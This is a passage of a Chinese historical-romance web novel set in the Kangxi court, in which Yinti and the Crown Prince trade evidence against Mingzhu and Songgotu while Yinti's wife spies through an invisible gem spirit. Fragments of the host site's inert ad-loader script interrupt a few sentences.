见胤礽没话说了,胤褆却来了兴致,“皇阿玛还有两天就到京了,也不知道太子做好挨训挨打的准备了吗?” 胤礽冷冷的瞟了一眼贱嗖嗖的胤褆,没说什么,因为他们都知道,他挨训可能,但是挨打不可能。 反倒是前一句话里面的‘病’字引起了胤礽的重视,只见他腾的一下的从椅子上站起身,直勾勾的盯着胤褆,沉声问道:“皇阿玛病了?什么时候?” “唔,我想想……” 胤褆故意拖着时间,直到胤礽不耐烦了才慢悠悠道:“就你送第一封信的前一天晚上,说来,太子不愧是太子,一封信反响平平,两封信药到病除。” 说到这个,胤礽也想起了自己当时干过的事,一时无言。 到这里,胤褆继续道:“唉~依我看,这次皇阿玛气的可不轻。” 听出胤褆话里面的幸灾乐祸,胤礽深吸一口气,收敛情绪,缓缓坐回原位,表面上看,已经全然恢复成了刚才的样子。 “大哥来找孤,总不会是为了说两句酸言酸语,说吧,此次前来,目的是什么。” 闻言,胤褆也不装了,敛了面上玩笑的神色,正色道:“皇阿玛礼重外国,到现在宫外还留着几个传教士,你就这样不管不顾的撕了他的脸,等他回来,定会给你挂落吃,但,我可以帮你。” “大哥不会这么好心,说吧,有什么需要孤做的。” 24.兄弟联手 “抹去我福晋在其中掺杂的踪迹。” 这个要求…… 胤礽放下刚拿起的毛笔,上上下下扫视着胤褆,半晌,突然笑出了声,笑声越来越大。 “哈哈哈哈——大哥啊大哥,你到底是栽了,你可知,珍重一人,对你以后竞争皇位是多大的阻碍?” 胤褆轻笑一声,缓缓吐出了这么多年不曾跟其他人说过的心声,“我本就没有觊觎过皇位,一直是你们,把我当劲敌防范,在我未入朝时,就大范围宣扬我武功好但是课业不行,意图把我塑造成一个武夫形象。” 见胤褆有意无意的略过了他说的珍重一人,转而提起其他的,胤礽也配合着转移了话题。 “此事,乃叔父所为,孤顶多算是没有阻止。” “所以啊,我才说,一直是你们在背后逼着我。”胤礽是,索额图是,额娘背后的家族是,前些天找上门的明珠是…… 胤礽转了转手上的玉扳指,不欲在这方面多言,直白道:“所以,你今天到底想干什么?” 胤褆身体往后靠在椅背上,右腿压至左腿上,双手放在一边的扶手上,扬了扬下巴,漫不经心道:“还能干什么,和你来场兄弟间的坦白局,顺便请你以后继位后,放兄弟一马。” 这话的意思,明晃晃的在告诉胤礽,别防备了,老子不打算和你争皇位了,来吧,大家都亮牌吧,赶紧搞完赶紧各回各家。 然而胤礽听完后,却只是皱眉盯着胤褆,眼中是纯然的不解。 许久,转动扳指的手骤然停住,胤礽开口了,“既如此,那大哥就先说吧。” “我这边,可以提供明珠结党营私的证据给你,但是奉劝你一句,最好不要动明珠。” “哦?为何?” “明珠和索额图在朝堂上分庭抗礼,一旦动了其中一方,你猜,皇阿玛会不会动另一方。” 闻言,胤礽下意识道:“不会的,皇阿玛看在……” 话说到一半,胤礽又猛地顿住,看在他的面子不会动索额图?不,皇阿玛会动,因为他是皇帝,只是会顾忌他,给索额图一个好的退出朝堂的名头。 “反应过来了?” “嗯,我同意大哥的交易了。” 对胤礽将这一切归于交易二字,胤褆也没说什么,因为这事,说到底,还真就是一场交易。 福晋的事解决了,接下来该解决的就是他的事了。 胤褆活动了一下脖子,冷不丁的又丢下一个王炸,“回途时,皇阿玛抓住了几个自称索额图亲戚,买官买官的人,这事,你想办法处理一下。” “索额图买官买官!”胤礽腾的一下从椅子上站起身,快步走到胤褆身边,“此事当真!” “那几个人,已经受过刑全招了,言明买官的钱,九成归索额图,剩下一成才是他们分的,”看胤礽面上浮现出焦急之色,胤褆大大咧咧的提议道:“要我说,想解决这事也简单。” “大哥这么说,是有办法了?” 面对胤礽的求问,胤褆抬起右手,大拇指和食指放在一起搓了搓,给了胤礽一个你懂得眼神。 胤礽咬了咬牙,“十万两。” 心口抽疼的同时,胤礽不停的在心里面安慰自己,十万,买叔父一条命,算便宜得了…… 并不知道胤礽正在心疼钱的胤褆一挑眉,心想:还挺大方,原来只准备要五万两的,太子直接给翻了倍,大好人啊!下次有这事,还找他。 胤礽报了价钱,胤褆也不含糊,当即就给出了办法。 “我这边把明珠结党营私的证据给你,你那边找索额图要他买官买官的证据给我,咱们两个一起交上去,再给他们求求情,让他们两个一起退下去,其他的不说,命绝对是保住了。” 胤礽闻言,满眼狐疑的看着胤褆,“孤怎么觉得,大哥是在忽悠孤?” “我要是想忽悠你,根本就不会给你透露路上的事,要知道,这事皇阿玛可是下了禁言令的。” “那大哥不怕?” 胤褆洒脱一笑,“怕什么,我是皇阿玛儿子,再怎么,他也不会杀了我,顶多禁足一段时间。” 嗯……最好禁足七个月,让他陪着福晋一起把月子做完再放出来。 胤礽点了点头,“这事,孤信大哥,孤也提醒大哥一句,大嫂并不简单,这次的事,孤总觉得,和她有千丝万缕的关系。” 胤褆反问道:“你有证据吗?” “……孤要是有证据,就不会是现在这副局势了。” “这不就得了,没证据的事别瞎说,要知道人言可畏,我福晋一个弱女子,要是因你这话被我怀疑被我忌惮,她得多屈啊!” “你……算了,大哥要是没事,就请离开吧,我这里事情不少,怕是没时间招待大哥。” “还有点事要问你。” 听胤褆说还有事要问自己,胤礽也不急着坐回去了,反身坐到胤褆旁边的椅子上,自顾自倒了一杯茶,比了个请的手势。 “大哥请问,孤一定知无不言。” 胤褆压低声音问道:“你对那些外国人,到底是个什么看法?” “什么看法?”胤礽轻笑着垂下眼睑,抿了一口手中的茶水,“大哥,卧榻之侧,你觉得能容得下其他人酣睡吗?” 胤礽这么一说,胤褆就懂了,这是不满外国,想动手了,想到打仗,兴奋的扬起一抹笑,“那你准备怎么做?” “给各地下令,找出大清境内所有的外国人,押送回京,尽可能掌握多的消息,除此之外,还要封闭港口,禁止外国人入内的同时——” 最后两个字,胤礽同样压低声音回道:“备战!” 兴奋感褪去,理智涌上心头,胤褆蹙眉沉思了片刻,“你说的,我感觉皇阿玛一个都不会同意。” “不,他会同意的。” “理由。” 胤礽微微一笑,抬手指了指自己,“孤,就是理由。” 这自信的模样,看的胤褆是一阵不爽,但也无话可说,毕竟皇阿玛看重太子这事,他们兄弟,是都知道的。 “这一票,干了,但,我要军中的权利。” 胤礽扫了一眼因上战场归来没多久,身上还残留着一股肃杀之气的胤褆,回想前线捷报上有关胤褆打仗的勇姿,爽快的点了下头。 “可以,但孤要你带着四弟一起。” “老四?”胤褆摇了摇头,“不行,他连重一点的弓都拉不起来,你让他上战场,怕是觉得他活得太久了。” “也是,那算了。”胤礽嘴上说算了后,心里面开始扒拉还有什么地方能把胤禛给插进去。 胤褆想了想,给了胤礽一个建议,“如果你真想给老四安排地方,我倒是觉得,户部不错。” “户部?” “老四的性子,你也不是不知道,说好听点是严谨说难听点就是死板,这性子,放到其他哪个地方都是得罪人。 但户部就不一样了,那里管得可都是钱,对钱死板不是死板,那是负责,而且你若是真想在皇阿玛面前有话语权,还是得管钱,只是……” “只是什么?” “只是老四还未成亲,前面还有个老三,你想越过老三安排老四,皇阿玛那关,不好过。” “那就麻烦大哥,帮我一把了。” 胤褆挑了挑眉,“我?帮你?” “嗯哼,大哥今天过来,不就是投诚的嘛,我给你分点事干,也好安你的心。” 面对胤礽如此书面的话,胤褆低头翻了翻白眼,直接拒绝,“我不需要安心,想指使我干活,给点好处。” 胤礽扭头,目光直直得看向胤褆放在桌上摩擦着的手指,沉默片刻,没忍住问道:“你出门一趟,是被什么脏东西附身了吗?” 要不然怎么张口闭口都是钱钱钱是,他之前认识的老大可不是这样的啊! 听到这个问话,胤褆再也忍不住了,直接对着胤礽翻了个白眼,“你才被脏东西附身了呢,怎么,爷不要皇位了,还不能要点钱了?” 要知道,他现在可还靠福晋养着呢! 两人不欢而散后,胤褆捏着方才出主意的十万两直接走了,徒留胤礽还残留在胤褆是不是换了个人的思考中。 走出毓庆宫,胤褆看了一眼天色,又去给后宫的皇太后请安报了个平安,顺便说了声皇阿玛大概什么时候回来,方才带着李阔和李空就去了延禧宫。 胤褆人还没到殿中,声音就已经传到了殿中,“额娘!额娘!你在哪呢?” 殿内几人听到胤褆的声音,婆媳二人对视一眼,快速将脸上贴的白条子撕下,端正坐好,佯装无事发生一般看向走进殿中的胤褆。 胤褆对上两人的眼神,咧嘴一笑,“额娘,我来接福晋回去了。” “这天都还没黑就过来接人了,果真是小别胜新婚,行了,我也不想做那打扰夫妻相聚恶人,你们两个,拿上东西就走吧。” 说着,惠妃伸出手示意翠宛扶她起来。 见状,胤褆十分有眼色的提议道:“额娘,我来扶您。” 惠妃摆了摆手,“我这边不用你,多照顾着点你福晋吧。” “行,那我扶福晋,哎对了,额娘,我从前线带回来了点土特产,回头我让李阔给你送点啊?” “不差你那么点东西,别送了。”惠妃连连摆手拒绝道,就怕晚了一步,她这宫里面也被送进来一块丑石头。 很显然,胤褆送礼送石头的事,已经传遍了整个后宫。 为此,那段时间,舒禾和惠妃一起去皇太后宫里面请安都是低着头走路,就怕被问到那块石头。 但是某个罪魁祸首很显然不觉得自己审美有什么,还想追上惠妃科普科普自己都带回来了什么。 惠妃唯恐被拉住走不了,给了舒禾一个赶紧带着人走的眼神后,拉着翠宛就溜了,徒留没办法溜的舒禾面对胤褆。 舒禾抽了抽嘴角,提议道:“爷,咱们这就回院落?” “嗯,走吧,爷扶着你,”说着,胤褆上前两步接手了秋雨的工作,扶着舒禾站起身,“来,小心着点。” “不用这么小心的,渡过前三个月,后边只要不做什么危险动作,就不会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出问题。” 胤褆不赞同的摇了摇头,“谁说的,爷找他去,怎么能不小心呢,要知道最大的危险可是就潜藏在这些小事里面!” 舒禾好笑的瞟了胤褆一眼,没好气的回道:“那听爷的,我小心着来。” 偏偏胤褆就跟听不出来她语气不对一样,听她这么说,居然一本正经的点了点头,一副合该如此的模样。 见他这样,舒禾也懒得说什么了,只由着他小心的扶着她回南三所。 回南三所的路上,两人居然碰到了满脸酡红的胤祉,看着匆匆行了个礼就离开的胤祉,胤褆皱起眉头说了句:“不对劲。” “回去细说。” “嗯,走吧。” 回到院中,屏退宫人,舒禾斜躺在软榻上将腿搭在胤褆腿上,而胤褆则是有一搭没一搭的帮忙揉着,一边揉一边说起了胤祉的不对劲。 “老三刚才回来的方向和咱们两个一致,是后宫的方向,但他却满脸酡红行色匆匆,很像是碰到了什么事。” 舒禾垂眸看着手上的丹蔻,接话道:“后宫、满脸酡红,他该不会是……” 剩下的话舒禾虽然没有说,胤褆却大略猜到了,“其他人可能不会,但是老三就不一定了,他这人,总感觉有点读书读傻了。” “要我说,也不用太关注他的事,就算哪天东窗事发,也牵连不到咱们身上。” “嗯。”胤褆明面上答应下来,私底下却打算弄清楚胤祉到底干了什么。 现在他和太子准备联手将胤祉和胤禛推出去,若是出了什么事,搞不好连带着他们两个也得吃挂落。 说到他和太子联手的事,胤褆觉得有必要给舒禾透个底,在他这里没什么女人不能参政的想法,只有夫妻同心。 于是,接下来胤褆手上揉捏着舒禾酸疼的小腿,嘴上缓缓将今天和太子商议的事说了一遍。 【宝石!出大事了!赶紧出来!】 正在啃宝石的宝石听见舒禾大嗓门的嚎叫,手抖了一下,将啃了一半的宝石收起来,一抹嘴,飞了下去。 一边飞一边问道,【怎么了怎么了,出什么事了?】 【胤褆和太子联手,并准备将胤祉和胤禛推上朝堂,还准备对外备战,管辖外国人的进入,】舒禾一口气说完后,有些凌乱的问道,【你说,温玟星说的那点消息,就那么管用?】 【不知道,你等我去探查一下。】 【好!】 跟宝石简单的交流过后,舒禾看向嘴里面嘟囔着跟他在一块还能走神的胤褆,坐起身子歪了过去,揽着胤褆的脖子在他脸上亲了一口。 “刚才走神是我不对,亲一下就当补偿了好不好?” 胤褆红着脸要求道:“再来一下。” “好好好,再来一下,muma!” “咳,再来一……” 舒禾一眯眼,胤褆轻咳着闭上嘴,“咳,那啥,没事了。” “那回答我几个问题?” 胤褆大手一挥,十分豪爽的说道:“问!” “你和太子合作这事,靠谱吗?” 你们两个那关系,合作?确定不是结仇? 不知怎么得,胤褆就品出了那没说出口的意思。 抬手揉了揉自家福晋的头,不疾不徐的说道:“太子这人,能力和人品是过关的,就是被捧的太高了,有点傲,但也不是什么坏事,所以,跟他合作,还是挺靠谱的。” 说到这里,胤褆话锋一转,“而且,我和他的关系,也没真到水火不容的地方,顶多平时斗一两句嘴。”太子说一句他顶一句的那种。 “武艺上我压他一头,学问上他压我一头。”互为对方最烦的人,因为没有对方,他们绝对能落个文武双全的名声。 “为了对方不无聊,给对方添添堵。”比如有事没事,争一下太子最在乎的皇阿玛宠爱。 “但要说真的结仇,那是没有的。”现在虽说偶有摩擦,但没有争皇位,那就不算是真正的结仇。 之后把索额图和明珠除了,没这两个想要推着他们争的家伙在,结仇什么的,那就更不可能了。 听了胤褆的长篇大作,舒禾也慢慢捋顺了思绪,旋即问出了自己在意的第二个问题,“你找太子抹去我掺杂在其中的踪迹,为此废了明珠这张王牌,不后悔?” “不悔。” 为什么不后悔呢? 胤褆含笑回视,为什么要后悔呢?妻子和外人谁才是陪他共度一生的人他还是能分得清的! 舒禾垂眸,抬手轻轻抚了抚微鼓的小腹,片刻后,抬眸直视胤褆:因为这个不悔? 胤褆摇了摇头,抬手挑起舒禾的下巴,凑上前蹭了蹭她的脸,柔声道:“因为你。” 说完,胤褆不给舒禾再次对视的机会,闭眼吻上紧闭的红唇,探、舔、伸……极尽厮磨之事,脸上的表情逐渐沉沦。 在此过程中,舒禾一直睁着眼睛,就那样看着胤褆脸上的表情变化。 内心的某处只感觉被轻轻抓挠看一下,原来,比血脉亲缘更有钳制意义的,是——真心。 25.互交证据 到最后,舒禾也闭上了眼睛,抬手环住胤褆的脖颈,给予了这个吻回应。 感受到怀里人的回应,胤褆眉毛微不可察的动了动,变得更加舒展了两分。 一吻毕,两人气喘吁吁的靠在一起,皆是面色酡红,对视一眼,双双没忍住噗嗤一声笑出了声。 笑了一会,胤褆抬手揉了揉身边人的脸,含笑道:“我着人去提膳食,有什么想吃的吗?” 说起想吃的,舒禾还真有,现下一听胤褆问起,当即不客气道:“锅子,多些牛羊肉。” “嗯,还有吗?” “剩下的你决定就好。” “那就让他们再上两道凉菜,吃腻了的时候还可以解解腻。” 都这么说了,舒禾自然不会不同意,当即就点了头。 晚上吃了一顿热腾腾的锅子,第二日早上一起床,舒禾郁闷的发现自己下巴上冒了一颗痘。 烦闷的将镜子扣倒,扫了一眼某个幸灾乐祸的人,恨恨道:“这不公平,凭什么只我有,你没有?” 胤褆在一边看热闹时,完全没想到事情还能波及到自己身上,看看屋中低着头根本不敢说话的宫人,再看看一脸生气的福晋。 一撩袍子站起身,走到舒禾身边,摆弄了一下桌上的化妆品,靠着那天帮忙化妆的经验,成功找出了画眉的东西。 拿起笔就点了个黑点在脸上,低头对上舒禾惊讶的目光,笑着做了个鬼脸,看着同样笑出来的舒禾,俯身问道:“满意了?” “嗯嗯,满意了。” “那去用膳?” 舒禾没有说话,只是把手搭在胤褆伸过来的手上,以行动表明了自己的意思。 桌上的早餐以清淡为主,很明显是贴合了舒禾的口味。 看着一桌子的膳食,舒禾才想起忘了安排胤褆爱吃的,心虚的看了一眼拿着勺子盛汤的胤褆。 结果胤褆完全没觉得有什么问题,见舒禾看他,还以为是心急想喝汤了,开口安抚道:“汤还有点烫,得等会再喝,现在先放我这冷着,一会凉了给你。” 舒禾无力道:“不是汤的问题。” 这说的,跟她多馋那一口汤似的。 不过因着这个小插曲,舒禾心里面的心虚反倒是烟消云散了,只想着回头吩咐宫人记得多点几道菜。 没错,就是多点,她爱的菜一个都不能少,要加胤褆喜欢的,就只能在原有基础上多点了,毕竟,花钱的是…… “这什么?” 舒禾还没想完眼前就被杵了几张纸,条件反射的问了一句方才接过,展开一看,是几张一万两的银票,数了一下,一共十张。 扭头朝胤褆看去,只见胤褆察觉到她的目光,得意的扬了扬下巴,“就昨天跟你说的,坑太子的那些钱。” “太子这么有钱的嘛,一出手就是十万两银票。” 听出舒禾话里面的赞叹,胤褆不屑的撇了撇嘴,“什么叫太子有钱,有钱的另有其人。” “索额图?” “就是他,他手底下的人卖出一个官位,就能得几万两银子,我估摸着,他孝敬给太子的不过是毛毛雨,真正的大头,还在他府里面。” 想到什么,胤褆兴奋的搓了搓手,“也不知道皇阿玛什么时候处置索额图,到时候我争取争取接个抄家的任务,给你揣两块金砖回来。” “噗嗤——保清说的我可记下了,咱们院里面,可就等着你的金砖添菜了。” “保证把金砖完模完样的带回来!”说着,胤褆还比了一个在军中学到得代表必胜的手势。 见他这样耍宝,舒禾弯了弯眉眼,脸上的笑意一早上就没下去过。 久别重逢,光是待在一起什么都不干也是好的,康熙还未回宫,没派下来什么活,所以胤褆窝在家里面可以说是十分舒心。 开开心心的陪着福晋看了一天账本的胤褆,到了晚上搂着香香软软的福晋躺在床上,只感觉此生什么遗憾都没了。 当他将这种想法告诉舒禾后,舒禾笑着反问道:“不觉得没生个嫡子继承家业是遗憾?” 胤褆闻言皱了皱眉,误以为舒禾重男轻女,板着一张脸说教道:“当然不是遗憾,反倒是你,身为女子,怎么能重男轻女呢?” “我?重男轻女?”舒禾不可置信的指着自己,不知道胤褆这又是从哪得出的结论。 “你不重男轻女方才说什么嫡子,若此刻肚子里面的是个格格,听到你这话,得多伤心?” 舒禾徒劳的辩解道:“她现在就只是一团肉,没有自己的意识。” “是这样吗?” “嗯,不信,你明天自己问太医去。” 听舒禾提及到太医,胤褆才恍然意识到,自己回来到现在还没有找太医了解过舒禾的情况。 抬手一拍额头,懊悔道:“确实是该找太医问问,不光得问刚才那个问题,还得问这孩子对你有没有什么影响。” “话归正题,你真的不想要个嫡子?”舒禾正了正神色问道。 “男孩、女孩对我来说,实际上没有什么区别,反正都是我的孩子。 而且啊,你看我,长这么大,没事就惹我额娘生气,或者给皇阿玛添乱,我都不知道他们两个是怎么忍到现在还愿意认我这个儿子的。 与之相反的是我那些姐姐、妹妹,一个个贴心的不得了,没事就爱给皇阿玛送个荷包啊衣服啊什么的。 我啊,只盼着你这一胎是个女儿,也不求未来女儿像她们那样,只求不像我这样就行。” 至于为什么不盼儿子,嗯……因为他自认为他的基因还挺强的,害怕生出来一个混世魔王。 综上所述,胤褆下了结论,“咱家以后顶天了就是个亲王,又没有皇位继承,有没有儿子,其实无所谓,反正有爵位在养老不成问题。” 闻言,舒禾露出一抹满意的笑,双手环住胤褆的脖子凑过去在他颈窝蹭了蹭,声音甜软道:“这可是保清你说的。” “嗯,我说的。” 那就这么愉快的决定了,以后就这么一个孩子了! 深夜,两人维持着相拥的姿势入眠。 次日,城门大开,普通士兵打头,紧随其后的是几匹高头大马。 一路行至午门,早早得到消息的众妃嫔外加皇阿哥已经等候在了午门处,打头的是位居高位的皇太后。 一行人安安分分的等了一上午才看到康熙的影子,胤褆扶着舒禾低声道:“一会行完礼,我瞅准时机给皇阿玛说一声,让李阔先带你回去。” 站了许久,舒禾腿已经酸得不像样了,听到胤褆这样说,当即就点了头。 “恭迎皇上回宫,吾皇万岁万岁万万岁!” “免礼。”康熙翻身下马,扶住欲行礼的皇太后,又对其他人摆了摆手,瞥了一眼大着肚子的舒禾,扶着皇太后就往紫禁城内走去。 初走几步,康熙像是想起什么,对梁九功招了招手,耳语了两句就摆手示意梁九功可以退下了。 待到人都跟着大流走得差不多了,梁九功走到胤褆身边,“奴才参见大阿哥、大福晋,皇上方才已经说过了,大福晋有孕在身,身体不便,可以先行回去,待到晚上庆功宴时,直接去太和殿即可。” “好,我们知道了,”胤褆点了点头,垂眸看向身边人,“舒禾,你先回去,晚点我去接你,现在,我去找皇阿玛谢恩。” “好,路上慢点走。” 听到舒禾的关心,胤褆笑眯了眼睛道,“这紫禁城我从小到大不知道走了多少遍,不会出事的,乖,跟着李阔回去吧。” 舒禾点了点头,跟着李阔离开了,胤褆目送舒禾的背影远去后,才扭头看向梁九功,“皇阿玛说的,应该不止刚才那么点吧?” 梁九功擦了擦额头上的细汗,尬笑着道:“大阿哥聪慧,瞒不过您,皇上还说,让您收拾收拾,去御书房挨训。” “啧—”胤褆一脸牙疼的甩了甩手,心知是太子那边出了问题,估摸着他刚进毓庆宫的门就有人往外递信了。 一天天的,蠢得跟什么似的,光琢磨跟他对着干了,那毓庆宫也不知道安插了多少皇阿玛的人。 抬手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 揉了揉眉心,下定决心下次商量事情,绝对不在毓庆宫了,现在当务之急是去跟太子对口供,别前言不搭后语全被皇阿玛给套出来了。 胤褆活动了一下手腕,目光直视前方,快步朝着御膳房的方向走去,“走吧梁公公,别让皇阿玛等久了。” “哎!这就走!” 看到在御书房候着的太子,胤褆着实是松了一口气,还在外边就说明皇阿玛还没来。 如果来了,一定是不舍得这块心肝肉在外边晒着的,就算是训也要给这块心肝肉挑个好地方训。 上前两步哥俩好的环住胤礽的脖颈,在胤礽不断的挣扎下拉着人走到角落,快速将一路想好的口供说了一遍后问道:“记住了吗?” “记住了,”胤礽慢悠悠的点了点头,又在胤褆松了一口气时,缓缓道:“但孤不打算用。” 于是,胤褆松了一半的气又提了起来,“你不打算用,是打算明面上告诉皇阿玛咱们两个结盟了,一长一嫡,瞄准了时机,就能把他拉下马吗?” “别管,孤有孤的底气,一会,你不要说话,孤来说。” “呵,行,我一会可真要好好看看你怎么说!”胤褆一甩袖,去御书房门口守着了。 慢他几步的胤礽也不计较,懒洋洋的走到另一侧门守着。 等康熙回来,就看到两个儿子跟个门神一样守在门两侧,神色难辨地扫了一眼没事人的两个儿子,淡淡道:“守在门口干什么?进去。” 胤褆和胤礽对视一眼,跟在康熙身后进了门。 普一进门,门就被在外边守着的梁九功给关上了,砰的一声,配上转过头似笑非笑盯着人的康熙,吓得胤褆一哆嗦,直接就跪了下去。 旁边,胤礽虽说也跪了下去,却完全是不紧不慢的动作,一如平常模样。 康熙看着两个儿子的表现,沉了沉眉,冷声道:“知道叫你们过来干什么吗?” 胤褆念着刚才胤礽的话,愣是一个字都没说,擎等着胤礽怎么回话。 胤礽扫了一眼胤褆,给了他一个看孤发挥的眼神后,挺起脊背,不卑不亢的回道:“儿臣知道,但儿臣自认无错。” “无错?胤礽,朕平时就是这么教你的?不懂审时度势、肆意妄为……” “皇阿玛!” 见胤礽直接出声打断皇阿玛的话,而皇阿玛因被打断气得胸口不停起伏,胤褆默默往旁边挪了挪,以防一会被什么扔过来的东西砸到。 “皇阿玛,您教的儿臣不曾忘记什么,正因为不曾忘,才会如此行事。” “行,你说,你用了我教的什么,说不出来,就滚回毓庆宫禁足思过!” 嗯……都气成这样了,还只是禁足思过,胤褆低头翻了个白眼,为老爷子的偏心。 “凡我大清土地、大清百姓,皆受庇护,若有外敌犯之,杀!” 一番杀气腾腾的话下来,康熙直接愣住了,垂眸看着底下两个儿子,略过直视他的胤礽看向胤褆,语气平缓了不少,“胤褆,你对胤礽说的,有什么看法?” “皇阿玛,儿臣以为,太子说的对,那封信上写明了他们已经朝大清下手,范围还不小,若咱们就当此事没有发生,以后,那些国家,岂不是会将大清当成一块人人可以啃上一口的肥肉?” “你们两个,在毓庆宫商量的就是这件事?” “不错……” “不是!” 胤礽扭头,拧眉看着胤褆,不解他又要干什么,胤褆对他使了个眼色,证据!趁现在,赶紧拿出来! 胤礽:没带! 胤褆无语的看着胤礽,咱俩那么多年死对头,我不知道你?这两天你睡觉估摸着证据都在枕头边放着,赶紧的! 我说,没…… “你们两个,当我不存在?” “咳咳,皇阿玛,儿臣这有索额图买官买官的证据一份,特此呈上!” 眼见着胤褆真的把证据交了,胤礽一咬牙,也拿出了胤褆给他的证据。 “皇阿玛,儿臣这有一份明珠结党营私的证据,特此呈上!” 26.撬墙角 随着两人的话音落地,御书房内忽然陷入一片寂静。 康熙看着底下已经长成的两个儿子,恍然间意识到一件事,他已经不能像他们小时候那样,强迫他们两个改变自己的想法了。 除非,他要了他们两个的命。 可……一个他的皇后拼死留下、他精心养育了十几年的孩子,一个承载了他只要好好活下去期望长大的孩子。 扪心自问,他舍得要他们两个的命吗? 答案自然是:不舍得。 心中给出答案的瞬间,康熙垂在身侧的手徒留的握了握,幽幽的叹了一口气,“呈上来。” 看完两人呈上来的证据后,康熙也不得不承认,这证据非常全面,全面到他仅凭这些,就可以定了索额图和明珠抄家问斩的罪。 随手将两本折子扔到桌上,看向底下还跪着的两个儿子,“起来吧,找地方坐,把你们的打算说一遍。” 胤禔干脆利落的起身找了个地方坐好,旋即就开始了自己的长篇大论。 “儿臣私以为,像索额图这样买官买官的人不除,底下的人就永远没有出头之日,大清官场也得不到真正的有用之人。 所以,儿臣恳请皇阿玛让儿臣抄了索额图的家,翻出买官卖官的人员名单,将他们依法处置!” 听着胤褆这愤慨的话,已经看透了胤禔是个什么人的胤礽无语抬头望房梁,说的这么正气凛然,还不是为了抄家的时候私藏点钱。 “保成,你呢?” “皇阿玛,儿臣的身份不允许儿臣直接向明珠出手,否则恐落人口舌,所以儿臣想,让四弟替儿臣监办了明珠。” “可,”允了胤礽的请求后,康熙顿了顿才看向胤褆,也说了句:“你说的,亦可。” “儿臣谢皇阿玛允准,只是儿臣还有一个不情之请。”说着 胤褆不好意思的朝康熙笑笑,仿佛真的十分不好意思一样。 然而熟悉他秉性的康熙是无论如何都不相信他会真的不好意思,现在这样,多半是装给他看的。 “……朕说不能说,你会不说?” “嘿嘿——不会。” 康熙瞪了一眼兀自笑起来的胤褆,没好气的说道:“既如此,你还等什么!” “儿臣想请皇阿玛留明珠一条命,他虽说做了不少错事,但以前也做了不少对大清有利之事,功过相抵,抄家后,把他贬为庶民得了。” 一旁的胤礽收到胤褆的眼神示意,从椅子上站起身,一撩袍子又跪了下去,“儿臣也想请皇阿玛绕索额图一命,就当看在儿臣的面上。” 康熙条件反射的想怼回去:看在你的面上,你的脸面值多少钱? 话即将出口得一瞬间看到了胤礽那酷似发妻的脸,一时间,再多的恶言恶语都被憋了回去。 憋屈的一甩袖,烦躁的拿起一旁的砚台摔到地上,斥道:“滚!都给朕滚!” “皇阿玛,那儿臣的请求……” “允了!都允了!”左不过一个索额图,没了权势,能翻出什么浪来! “皇阿玛,还有儿臣!” “胤褆!不要得寸……” 话说到一半看到胤褆那准备跑过来抱大腿的架势,剩下的又被憋了回去,两次想说的话,一次没说出来,一次没说完,康熙整个人都快被气炸了。 拿着桌上的奏折噼里啪啦的往下扔,一边扔一边道:“你的也允了!滚!” “哎!谢皇阿玛恩典!” 得了允准,胤褆火速开溜,那速度,快的胤礽都有些吃惊。 出了御书房,胤礽看到在拐角处拼命朝他招手的胤褆,正好有些什么想向胤褆问个明白,当即也是毫不迟疑的就走了过去。 “大哥,此地风大,不如回我的毓秀宫一叙?” 胤褆撇撇嘴,毫不客气道:“你的毓秀宫风更大,还不如我的南三所呢。” 胤礽只是觉得有些话不会在这说,对去哪倒是无所谓,听闻胤褆这么说,当即道:“那就去你的南三所。” 两人结伴来到南三所,径直去了书房。 殊不知,两人进书房的瞬间,几个洒扫太监对视一眼,其中一个默默退了出去,往后院那边去了。 舒禾正躺在躺椅上晒着太阳呢,就听秋雨来报,前院来人了,懒懒的睁开眼睛,扫了一眼等在外边的小太监,发现有点印象。 “让他进来。” 秋雨点了点头,走到门口对着小太监压低声音道:“进去吧。” “奴才参见福晋,福晋吉祥。” “嗯,说说,过来干什么?” “主子爷带着太子爷进了书房,想到秋雨姑娘说的话,奴才特意过来禀告一声。” “干的不错,”舒禾嘴上夸过后,朝后勾了勾手指,“秋霞,看赏。” “是。”秋霞上前两步,掏出一个没绣任何图案的荷包递了过去。 孙朝,也就是前来送消息的小太监,见不过送了这么一条消息就有赏,眼里面闪过一丝喜色,表了好一番衷心才离去。 孙朝走后,舒禾明面上没有一丝动静,心里面却悄然道,【宝石,麻烦了。】 【不麻烦,我去了。】 即使知道其他人根本就看不见宝石,宝石不会被除她之外的任何人发现,舒禾还是叮嘱了一句,【万事小心,安全为上。】 【放心。】 宝石仗着别人看不见,光明正大的从开着的窗户飞入书房,普一进入书房就见胤褆和胤礽一个看画、一个看书,没一个说话的。 这奇怪的一幕看的宝石都不知道该摆出什么表情应对了,随便找了个花瓶边缘坐下,双手托腮,尽职尽责得开始履行自己监视器的义务。 书房内静默许久,胤礽首先沉不住气开了口,“明知道皇阿玛不会要他们命,后边为什么还要多此一举为他们求情?” 虽然初开始有求情这一打算,但这不是后来觉得引起皇阿玛多心给删了吗? “说你傻你还不信,这么好的施恩机会都不会用,”胤禔嫌弃的撇开视线,没一会又挪回来问道:“我问你,他们两个活着创造的价值大还是死了创造的价值大?” 胤礽不假思索的回道:“当然是活着。” 其他的不论,索额图和明珠确实是有真才实学的。 胤褆点了点头,“既然活着能够创造的价值更大,那就让他们活着把该创造的价值创造下去,不过……” “不过什么?” “不过那创造的价值,不是为大清,而是为……”胤褆反手指指自己,又指指胤礽,“他们用好了,可是个利器。” “……我现在开始怀疑,你是不是打从一开始就想好了要撬皇阿玛墙角了。” 这一刻,胤礽甚至觉得胤禔前面那么多年的文化课不好,都是在装的。 “嗐,怎么可能……” “说实话,孤帮你。” “咳,也不是一开始吧,就是察觉到了一点小事,见微知微,觉得还是培养点自己的势力好,但是从头开始又太麻烦,剩下的……你懂得! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 胤礽抽搐着嘴角点了点头,他懂,他确实懂,毕竟从头开始哪有顺手捞摸别人培养好的快啊。 但是!捞自己亲阿玛的东西,胤褆这家伙就不觉得亏心吗? 观察了一会胤褆的脸色,胤礽下了判断,这家伙不仅不觉得亏心,反而十分自豪,那眼角眉梢的自豪感都快溢出来了。 